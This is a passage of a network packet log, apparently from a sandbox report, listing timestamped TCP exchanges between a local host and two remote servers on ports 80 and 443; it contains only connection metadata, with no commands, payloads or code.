Oct 7, 2024 19:33:18.516026020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.516048908 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.516074896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.516875029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.516923904 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.516983032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.516995907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517003059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517071962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517075062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.517085075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517098904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517110109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517122030 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.517151117 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.517719030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517740011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517754078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517781973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.517805099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.517826080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517839909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517852068 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517863989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.517864943 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.517884016 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.517899036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.518284082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.518295050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.518307924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.518321037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.518332958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.518346071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.518358946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.518367052 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.518373013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.518390894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.518407106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.518429041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.519573927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.519586086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.519598007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.519623995 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.519648075 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.519676924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.519690037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.519701004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.519712925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.519723892 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.519737005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.519768953 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.576883078 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.578068018 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.578080893 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.578666925 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.578671932 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.595700979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.595714092 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.595731974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.595742941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.595755100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.595766068 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.595777988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.595786095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.595818996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.595832109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.595840931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.595843077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.595854998 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.595866919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.595915079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.595915079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.596472979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596672058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596683979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596694946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596705914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596715927 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.596719027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596731901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596743107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596750021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.596754074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596765995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596776009 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.596776962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596788883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596796989 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.596807957 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596821070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596824884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.596839905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596852064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596857071 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.596863985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596875906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596878052 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.596888065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596904039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596906900 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.596916914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596934080 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.596940994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596950054 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.596952915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596966028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.596991062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597004890 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597317934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597332001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597343922 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597372055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597397089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597399950 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597409964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597423077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597435951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597453117 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597484112 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597646952 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597687006 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597717047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597729921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597754955 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597760916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597769976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597773075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597786903 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597798109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597800970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597815037 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597821951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597836971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597867966 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597892046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597903967 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597915888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597922087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.597954035 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597980976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.597987890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598175049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598217010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.598407030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598418951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598429918 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598443031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.598479033 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.598527908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598539114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598551035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598565102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.598594904 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.598706007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598743916 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.598758936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598805904 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.598862886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598874092 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598885059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598897934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598902941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.598912001 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.598931074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.598941088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598942041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.598954916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598974943 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.598997116 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.599021912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.599553108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.599565029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.599577904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.599589109 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.599605083 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.599618912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.599627018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.599638939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.599651098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.599663019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.599663973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.599675894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.599704027 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.599711895 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.600030899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600043058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600056887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600087881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600100994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600112915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600117922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.600117922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.600127935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600140095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600153923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.600179911 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.600488901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600527048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600534916 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.600543022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600565910 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.600585938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.600588083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600601912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600614071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600626945 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.600641966 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.600671053 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.601447105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.601479053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.601490974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.601520061 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.601541996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.601546049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.601553917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.601567030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.601624966 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.601624966 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.601711035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.601759911 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.602129936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.602150917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.602173090 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.602190971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.602467060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.602479935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.602493048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.602504015 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.602519989 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.602528095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.602534056 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.602543116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.602554083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.602562904 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.602580070 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.602597952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.603010893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.603053093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.603066921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.603080034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.603102922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.603116035 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.603123903 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.603137016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.603147984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.603159904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.603173018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.603205919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.604701042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.604712963 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.604724884 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.604736090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.604756117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.604757071 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.604768038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.604779005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.604779959 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.604811907 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.655206919 CEST	443	49752	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.655667067 CEST	49752	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.655682087 CEST	443	49752	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.656187057 CEST	49752	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.656192064 CEST	443	49752	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.659946918 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.660366058 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.660377026 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.660788059 CEST	49751	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.660795927 CEST	443	49751	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.673171997 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.673326015 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.673383951 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.673414946 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.673429012 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.673439026 CEST	49750	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.673444986 CEST	443	49750	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.675679922 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.675709009 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.675951004 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.676083088 CEST	49756	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:18.676099062 CEST	443	49756	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:18.680923939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.680972099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681008101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681020021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681034088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681046009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681056976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681061029 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681097984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681113958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681128025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681140900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681153059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681153059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681183100 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681209087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681389093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681401014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681406021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681411982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681422949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681440115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681452036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681452036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681464911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681476116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681483030 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681490898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681495905 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681504011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681515932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681518078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681528091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681540012 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681541920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681555986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681569099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681569099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681580067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681608915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681720972 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681734085 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681745052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681771040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681787014 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681811094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681821108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681833029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681847095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681854963 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681864977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:18.681875944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:18.681879997 CEST	80	49718	46.8.231.109	192.168.2.7
